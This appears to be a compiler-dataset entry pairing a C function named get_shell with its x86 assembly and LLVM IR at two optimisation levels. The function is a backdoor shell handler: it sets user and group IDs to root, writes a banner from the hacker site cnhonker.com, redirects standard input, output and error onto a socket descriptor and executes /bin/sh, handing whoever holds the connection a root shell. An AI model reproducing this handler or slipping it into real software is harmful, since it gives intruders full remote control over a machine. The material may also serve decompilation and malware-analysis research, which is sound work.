#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ chdir(char *);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execl(char *, char *, char *);
int /*<<< orphan*/ setgid(int /*<<< orphan*/);
int /*<<< orphan*/ setuid(int /*<<< orphan*/);
int /*<<< orphan*/ strlen(char *);
int /*<<< orphan*/ write(int, char *, int /*<<< orphan*/);
int get_shell(int fd) {
  int i;
  setuid(0);
  setgid(0);
  chdir("/");
  write(
      fd,
      "\r\n========Welcome to http://www.cnhonker.com========\r\n==========You "
      "got it, have a goodluck. :)=========\r\n\r\nYour command: \0",
      strlen("\r\n========Welcome to "
             "http://www.cnhonker.com========\r\n==========You got it, have a "
             "goodluck. :)=========\r\n\r\nYour command: \0"));
  for (i = 0; i < 3; i++) {
    dup2(fd, i);
  }
  execl("/bin/sh", "sh", (char *)0);
  close(fd);
  return 1;
}


x86 assembly (clang, -O0):
<get_shell>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %edi,-0x4(%rbp)
xor    %edi,%edi
call   1090 <setuid@plt>
xor    %edi,%edi
call   1080 <setgid@plt>
lea    0xe60(%rip),%rdi
call   1050 <chdir@plt>
mov    -0x4(%rbp),%eax
mov    %eax,-0xc(%rbp)
lea    0xe58(%rip),%rdi
call   1040 <strlen@plt>
mov    -0xc(%rbp),%edi
mov    %eax,%edx
lea    0xe47(%rip),%rsi
call   1030 <write@plt>
movl   $0x0,-0x8(%rbp)
cmpl   $0x3,-0x8(%rbp)
jge    11f2 <get_shell+0x72>
mov    -0x4(%rbp),%edi
mov    -0x8(%rbp),%esi
call   1060 <dup2@plt>
mov    -0x8(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x8(%rbp)
jmp    11cf <get_shell+0x4f>
lea    0xe09(%rip),%rdi
lea    0xe07(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   10a0 <execl@plt>
mov    -0x4(%rbp),%edi
call   1070 <close@plt>
mov    $0x1,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<get_shell>:
push   %r14
push   %rbx
push   %rax
mov    %edi,%ebx
xor    %edi,%edi
call   1090 <setuid@plt>
xor    %edi,%edi
call   1080 <setgid@plt>
lea    0xe65(%rip),%rdi
call   1050 <chdir@plt>
lea    0xe63(%rip),%r14
mov    %r14,%rdi
call   1040 <strlen@plt>
mov    %ebx,%edi
mov    %r14,%rsi
mov    %eax,%edx
call   1030 <write@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1060 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1060 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1060 <dup2@plt>
lea    0xe1f(%rip),%rdi
lea    0xe1d(%rip),%rsi
xor    %edx,%edx
call   10a0 <execl@plt>
mov    %ebx,%edi
call   1070 <close@plt>
mov    $0x1,%eax
add    $0x8,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
@.str = [2 x i8] c"/\00"
@.str.1 = [124 x i8] c"\0D\0A========Welcome to http://www.cnhonker.com========\0D\0A==========You got it, have a goodluck. :)=========\0D\0A\0D\0AYour command: \00\00"
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
define i32 @get_shell(i32 %0) {
%2 = alloca i32
%3 = alloca i32
store i32 %0, i32* %2
%4 = call i32 @setuid(i32 0)
%5 = call i32 @setgid(i32 0)
%6 = call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%7 = load i32, i32* %2
%8 = call i32 @strlen(i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.1, i64 0, i64 0))
%9 = call i32 @write(i32 %7, i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.1, i64 0, i64 0), i32 %8)
store i32 0, i32* %3
br label %10
10: ; preds = %17, %1
%11 = load i32, i32* %3
%12 = icmp slt i32 %11, 3
br i1 %12, label %13, label %20
13: ; preds = %10
%14 = load i32, i32* %2
%15 = load i32, i32* %3
%16 = call i32 @dup2(i32 %14, i32 %15)
br label %17
17: ; preds = %13
%18 = load i32, i32* %3
%19 = add nsw i32 %18, 1
store i32 %19, i32* %3
br label %10
20: ; preds = %10
%21 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i8* null)
%22 = load i32, i32* %2
%23 = call i32 @close(i32 %22)
ret i32 1
}

LLVM IR (-O2):
@.str = [2 x i8] c"/\00"
@.str.1 = [124 x i8] c"\0D\0A========Welcome to http://www.cnhonker.com========\0D\0A==========You got it, have a goodluck. :)=========\0D\0A\0D\0AYour command: \00\00"
@.str.2 = [8 x i8] c"/bin/sh\00"
@.str.3 = [3 x i8] c"sh\00"
define i32 @get_shell(i32 %0) {
%2 = tail call i32 @setuid(i32 0)
%3 = tail call i32 @setgid(i32 0)
%4 = tail call i32 @chdir(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str, i64 0, i64 0))
%5 = tail call i32 @strlen(i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.1, i64 0, i64 0))
%6 = tail call i32 @write(i32 %0, i8* getelementptr inbounds ([124 x i8], [124 x i8]* @.str.1, i64 0, i64 0), i32 %5)
%7 = tail call i32 @dup2(i32 %0, i32 0)
%8 = tail call i32 @dup2(i32 %0, i32 1)
%9 = tail call i32 @dup2(i32 %0, i32 2)
%10 = tail call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.3, i64 0, i64 0), i8* null)
%11 = tail call i32 @close(i32 %0)
ret i32 1
}